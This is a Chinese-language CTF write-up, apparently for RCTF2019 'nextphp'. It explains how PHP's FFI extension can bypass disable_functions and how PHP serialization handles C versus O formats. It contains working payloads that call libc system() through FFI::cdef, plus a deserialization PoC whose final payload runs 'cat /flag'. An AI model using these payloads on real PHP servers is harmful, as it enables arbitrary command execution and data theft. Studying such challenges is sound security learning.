知识点;利用 FFI 绕过 disable_function
FFI 介绍与利用
首先 FFI
肯定要开,且 PHP 版本肯定要早 7.4 以上
简介:
FFI ,可以让我们直接在PHP脚本中调用C语言写的库中的函数。
FFI 的安全性问题
FFI虽然给了我们很大的灵活性,但是毕竟直接调用C库函数,还是非常具有风险性的,我们应该只容许用户调用我们确认过的函数,于是,ffi.enable=preload
就该上场了,当我们设置 ffi.enable=preload
的话,那就只有在opcache.preload
的脚本中的函数才能调用 FFI
,而用户写的函数是没有办法直接调用的。
也就是说如果设置了 ffi.enable=preload
的话,那么就不能在非 preload
文件中直接利用 FFI
漏洞了。
payload 格式:
FFI::cdef("int system(char *command);","libc.so.6")->system("whoami");
FFI::cdef("int system(char *command);")->system("whoami");
getflag
poc:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];
private function run () {
echo "run<br>";
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function serialize (): string {
return serialize($this->data);
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
}
}
$a = new A();
echo serialize($a);
payload:
?a=$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('cat /flag | tee 1.txt');
然后访问 1.txt 就可以了。
payload 解释
先解释一下 poc 为什么要删除 __serialize()
函数,首先如果不删 __serialize()
函数的话,在序列化的时候会直接直接执行 __serialize()
函数,然后就不执行 serialize()
函数了。
不删 __serialize() 函数
O:1:"A":3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}
删 __serialize() 函数
C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}
我们看一下两种情况下的 ->__serialize()
,也就是 $this->data;
,可以明显看出不删的时候,data 值根本没有改变。
如果有大师傅理解原理的话,望告之!!跪谢!!
不删 __serialize() 函数
删 __serialize() 函数
这边贴一下解释文档
In principle, this makes existing strings serialized in O format fully interoperable with the new serialization mechanism, the data is just provided in a different way (for __wakeup() in properties, for __unserialize() as an explicit array). If a class has both __sleep() and __serialize(), then the latter will be preferred. If a class has both __wakeup() and __unserialize() then the latter will be preferred.
If a class both implements Serializable and __serialize()/__unserialize(), then serialization will prefer the new mechanism, while unserialization can make use of either, depending on whether the C (Serializable) or O (__unserialize) format is used. As such, old serialized strings encoded in C format can still be decoded, while new strings will be produced in O format.
为什么 payload 是这样的?
反序列化后调用 __serialize 函数,返回的是处理好的 data 数组,此时的 __serialize()['ret']==data[ret] == FFI::cdef("int system(char *command);")
unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('cat /flag | tee 1.txt');->__serialize()['ret']->system('cat /flag | tee 1.txt');
关于为什么 payload 里有system ,却还能绕过,这边就贴一下 Sk1y 大师傅的解释。
reference
FFI 详解:
https://www.laruence.com/2020/03/11/5475.html
wp:
https://blog.csdn.net/RABCDXB/article/details/120319633
https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/#nextphp